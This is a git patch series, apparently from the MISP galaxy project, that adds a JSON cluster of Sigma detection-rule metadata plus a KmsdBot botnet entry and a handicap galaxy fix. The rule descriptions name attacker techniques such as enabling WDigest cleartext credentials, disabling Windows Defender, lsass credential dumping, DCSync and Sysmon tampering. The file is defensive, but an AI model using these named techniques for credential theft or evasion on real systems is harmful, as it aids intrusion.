+ }, + { + "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", + "uuid": "d6a9b252-c666-4de6-8806-5561bbbd3bdc", + "value": "Wdigest Enable UseLogonCredential", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2019/09/12", + "filename": "registry_set_wdigest_enable_uselogoncredential.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when attackers or tools disable Windows Defender functionalities via the windows registry", + "uuid": "0eb46774-f1ab-4a74-8238-1155855f2263", + "value": "Disable Windows Defender Functionalities Via Registry Keys", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_windows_defender_tamper.yml", + "author": "AlertIQ, J\u00e1n Tren\u010dansk\u00fd, frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n", + "uuid": "f7997770-92c3-4ec9-b112-774c4ef96f96", + "value": "Winlogon AllowMultipleTSSessions Enable", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/09/09", + "filename": "registry_set_winlogon_allow_multiple_tssessions.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitmate use of the multi session functionality" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", + "uuid": "bbf59793-6efb-4fa1-95ca-a7d288e52c88", + "value": "Winlogon Notify Key Logon Persistence", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ], + "creation_date": "2021/12/30", + "filename": "registry_set_winlogon_notify_key.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", + "uuid": "a1b1fd53-9c4a-444c-bae0-34a330fc7aa8", + "value": "Add DLLPathOverride Entry For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/naturallanguage6.html", + "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/regsitry_set_natural_language_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "regsitry_set_natural_language_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects Accessing to lsass.exe by Powershell", + "uuid": "3f07b9d1-2082-4c56-9277-613a621983cc", + "value": "Accessing WinAPI in PowerShell for Credentials Dumping", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/10/06", + "filename": "sysmon_accessing_winapi_in_powershell_credentials_dumping.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", + "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77", + "value": "Sysmon Configuration Change", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/12", + "filename": "sysmon_config_modification.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative action" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", + "uuid": "815cd91b-7dbc-4247-841a-d7dd1392b0a8", + "value": "Sysmon Configuration Error", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2021/06/04", + "filename": "sysmon_config_modification_error.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate administrative action" + ], + "logsource.category": "sysmon_error", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", + "uuid": "1f2b5353-573f-4880-8e33-7d04dcf97744", + "value": "Sysmon Configuration Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2021/06/04", + "filename": "sysmon_config_modification_status.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate administrative action" + ], + "logsource.category": "sysmon_status", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.", + "uuid": "e554f142-5cf3-4e55-ace9-a1b59e0def65", + "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_dcom_iertutil_dll_hijack.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1021.003" + ], + "creation_date": "2020/10/12", + "filename": "sysmon_dcom_iertutil_dll_hijack.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Triggers on any Sysmon file block executable event. Which should indicates a violation of the block policy set", + "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2", + "value": "Sysmon Blocked Executable", + "meta": { + "refs": [ + "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/16", + "filename": "sysmon_file_block_exe.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_block", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", + "uuid": "c4b890e5-8d8c-4496-8c66-c805753817cd", + "value": "Sysmon Process Hollowing Detection", + "meta": { + "refs": [ + "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.012" + ], + "creation_date": "2022/01/25", + "filename": "sysmon_process_hollowing.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S", + "level": "high", + "falsepositive": [ + "There are no known false positives at this time" + ], + "logsource.category": "process_tampering", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of WMI event subscription persistence method", + "uuid": "0f06a3a5-6a09-413f-8743-e6cf35561297", + "value": "WMI Event Subscription", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2019/01/12", + "filename": "sysmon_wmi_event_subscription.yml", + "author": "Tom Ueltschi (@c_APT_ure)", + "level": "medium", + "falsepositive": [ + "Exclude legitimate (vetted) use of WMI event subscription in your network" + ], + "logsource.category": "wmi_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious encoded payloads in WMI Event Consumers", + "uuid": "83844185-1c5b-45bc-bcf3-b5bf3084ca5b", + "value": "Suspicious Encoded Scripts in a WMI Consumer", + "meta": { + "refs": [ + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_encoded_scripts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2021/09/01", + "filename": "sysmon_wmi_susp_encoded_scripts.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "wmi_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", + "uuid": "fe21810c-2a8c-478f-8dd3-5a287fb2a0e0", + "value": "Suspicious Scripting in a WMI Consumer", + "meta": { + "refs": [ + "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", + "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ], + "creation_date": "2019/04/15", + "filename": "sysmon_wmi_susp_scripting.yml", + "author": "Florian Roth, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Legitimate administrative scripts" + ], + "logsource.category": "wmi_event", + "logsource.product": "windows" + } + } + ], + "version": 1 +} \ No newline at end of file diff --git a/galaxies/sigma-rules.json b/galaxies/sigma-rules.json new file mode 100644 index 0000000..f7b766c --- /dev/null +++ b/galaxies/sigma-rules.json @@ -0,0 +1,9 @@ +{ + "description": "Sigma Rules are used to detect suspicious behaviors related to threat actors, malware and tools", + "icon": "link", + "name": "Sigma-Rules", + "namespace": "misp", + "type": "sigma-rules", + "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", + "version": 1 +} \ No newline at end of file From f595195cd2b6aba9d9bed69d3aab5e652b35147f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=BCrgen=20L=C3=B6hel?= Date: Tue, 15 Nov 2022 18:10:39 -0600 Subject: [PATCH 154/167] chg: [botnets] Adds KmsdBot MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Jürgen Löhel --- clusters/botnet.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index df6dea5..19a421d 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1383,7 +1383,17 @@ ], "uuid": "505c6a54-a701-4a4b-85d4-0f2038b7b46a", "value": "Dark.IoT" + }, + { + "description": "Akamai Security Research has observed a new golang malware which they named KmsdBot. The malware scans for open SSH ports and performs a simple dictionary attack against it. The researchers from Akamai monitored only DDoS activity, but discovered also the functionality to launch cryptomining. The malware has varied targets including the gaming industry, technology industry, and luxury car manufacturers.", + "meta": { + "refs": [ + "https://www.akamai.com/blog/security-research/kmdsbot-the-attack-and-mine-malware" + ] + }, + "uuid": "b6919400-9b16-48ae-8379-fab26a506e32", + "value": "KmsdBot" } ], - "version": 28 + "version": 29 } From e3b6e9d229e21eaae62bba91e2980c57ac46f9e9 Mon Sep 17 00:00:00 2001 From: Terrtia Date: Thu, 17 Nov 2022 15:16:05 +0100 Subject: [PATCH 155/167] fix: [handicap] fix galaxy icon + name + type --- clusters/handicap.json | 6 +++--- galaxies/handicap.json | 8 ++++---- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/clusters/handicap.json b/clusters/handicap.json index a56150e..53798dc 100644 --- a/clusters/handicap.json +++ b/clusters/handicap.json @@ -5,9 +5,9 @@ ], "category": "med-bdm-it", "description": "Liste des maladies invalidantes reconnues comme handicap", - "name": "handicap", + "name": "Handicap", "source": "MDPH /caf", - "type": "Handicap", + "type": "handicap", "uuid": "84310ba3-fa6a-44aa-b378-b9e3271c7777", "values": [ { @@ -272,5 +272,5 @@ "value": "Tumeur maligne" } ], - "version": 1 + "version": 2 } diff --git a/galaxies/handicap.json b/galaxies/handicap.json index db451fb..7d2c0ca 100644 --- a/galaxies/handicap.json +++ b/galaxies/handicap.json @@ -1,9 +1,9 @@ { "description": "Handicap classifying", - "icon": "android", - "name": "handicap", + "icon": "wheelchair", + "name": "Handicap", "namespace": "misp", - "type": "Handi", + "type": "handicap", "uuid": "84310ba3-fa6a-44aa-b378-b9e3271c7777", - "version": 1 + "version": 2 } From 7d4011a0a22f7fa365de732b6888d1306ed638f0 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Fri, 18 Nov 2022 14:17:52 +0100 Subject: [PATCH 156/167] chg: [sigma] jq all the things --- clusters/sigma-rules.json | 125218 +++++++++++++++++------------------ galaxies/sigma-rules.json | 16 +- 2 files changed, 62617 insertions(+), 62617 deletions(-) diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json index a3a4a5a..b339e67 100644 --- a/clusters/sigma-rules.json +++ b/clusters/sigma-rules.json @@ -1,62610 +1,62610 @@ { - "authors": [ - "@Joseliyo_Jstnk" - ], - "category": "rules", - "description": "MISP galaxy cluster based on Sigma Rules.", - "name": "Sigma-Rules", - "source": "https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma", - "type": "sigma-rules", - "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", - "values": [ - { - "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", - "uuid": "238527ad-3c2c-4e4f-a1f6-92fd63adb864", - "value": "Antivirus Exploitation Framework Detection", - "meta": { - "refs": [ - "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_exploiting.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2018/09/09", - "filename": "av_exploiting.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "antivirus", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", - "uuid": "fa0c05b6-8ad3-468d-8231-c1cbccb64fba", - "value": "Antivirus Hacktool Detection", - "meta": { - "refs": [ - "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_hacktool.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ], - "creation_date": "2021/08/16", - "filename": "av_hacktool.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "antivirus", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a highly relevant Antivirus alert that reports a password dumper", - "uuid": "78cc2dd2-7d20-4d32-93ff-057084c38b93", - "value": "Antivirus Password Dumper Detection", - "meta": { - "refs": [ - "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", - "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_password_dumper.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1558", - "attack.t1003.001", - "attack.t1003.002" - ], - "creation_date": "2018/09/09", - "filename": "av_password_dumper.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "antivirus", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .", - "uuid": "6fe1719e-ecdf-4caf-bffe-4f501cb0a561", - "value": "Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection", - "meta": { - "refs": [ - "https://twitter.com/mvelazco/status/1410291741241102338", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_printernightmare_cve_2021_34527.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2021/07/01", - "filename": "av_printernightmare_cve_2021_34527.yml", - "author": "Sittikorn S, Nuttakorn T, Tim Shelton", - "level": "critical", - "falsepositive": [ - "Unlikely, or pending PSP analysis" - ], - "logsource.category": "antivirus", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a highly relevant Antivirus alert that reports ransomware", - "uuid": "4c6ca276-d4d0-4a8c-9e4c-d69832f8671f", - "value": "Antivirus Ransomware Detection", - "meta": { - "refs": [ - "https://www.nextron-systems.com/?s=antivirus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_ransomware.yml" - ], - "tags": [ - "attack.t1486" - ], - "creation_date": "2022/05/12", - "filename": "av_ransomware.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "antivirus", - "logsource.product": "No established product" - } - }, - { - "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", - "uuid": "c9a88268-0047-4824-ba6e-4d81ce0b907c", - "value": "Antivirus Relevant File Paths Alerts", - "meta": { - "refs": [ - "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_relevant_files.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588" - ], - "creation_date": "2018/09/09", - "filename": "av_relevant_files.yml", - "author": "Florian Roth, Arnim Rupp", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "antivirus", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", - "uuid": "fdf135a2-9241-4f96-a114-bb404948f736", - "value": "Antivirus Web Shell Detection", - "meta": { - "refs": [ - "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", - "https://github.com/tennc/webshell", - "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", - "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", - "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", - "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", - "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", - "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", - "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_webshell.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2018/09/09", - "filename": "av_webshell.yml", - "author": "Florian Roth, Arnim Rupp", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "antivirus", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", - "uuid": "fd435618-981e-4a7c-81f8-f78ce480d616", - "value": "Django Framework Exceptions", - "meta": { - "refs": [ - "https://docs.djangoproject.com/en/1.11/ref/exceptions/", - "https://docs.djangoproject.com/en/1.11/topics/logging/#django-security", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/08/05", - "filename": "appframework_django_exceptions.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Application bugs" - ], - "logsource.category": "application", - "logsource.product": "django" - } - }, - { - "description": "Generic rule for SQL exceptions in Python according to PEP 249", - "uuid": "19aefed0-ffd4-47dc-a7fc-f8b1425e84f9", - "value": "Python SQL Exceptions", - "meta": { - "refs": [ - "https://www.python.org/dev/peps/pep-0249/#exceptions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/08/12", - "filename": "app_python_sql_exceptions.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Application bugs" - ], - "logsource.category": "application", - "logsource.product": "python" - } - }, - { - "description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", - "uuid": "0fcd1c79-4eeb-4746-aba9-1b458f7a79cb", - "value": "Remote Schedule Task Lateral Movement via ATSvc", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1053/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1053", - "attack.t1053.002" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_atsvc_lateral_movement.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", - "uuid": "f177f2bc-5f3e-4453-b599-57eefce9a59c", - "value": "Remote Schedule Task Recon via AtScv", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/01", - "filename": "rpc_firewall_atsvc_recon.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", - "uuid": "56fda488-113e-4ce9-8076-afc2457922c3", - "value": "Possible DCSync Attack", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1033/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" - ], - "tags": [ - "attack.t1033" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_dcsync_attack.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", - "uuid": "5f92fff9-82e2-48eb-8fc1-8b133556a551", - "value": "Remote Encrypting File System Abuse", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" - ], - "tags": [ - "attack.lateral_movement" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_efs_abuse.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Legitimate usage of remote file encryption" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", - "uuid": "2053961f-44c7-4a64-b62d-f6e72800af0d", - "value": "Remote Event Log Recon", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/01", - "filename": "rpc_firewall_eventlog_recon.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Remote administrative tasks on Windows Events" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to create or execute a scheduled task", - "uuid": "ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d", - "value": "Remote Schedule Task Lateral Movement via ITaskSchedulerService", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1053/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - 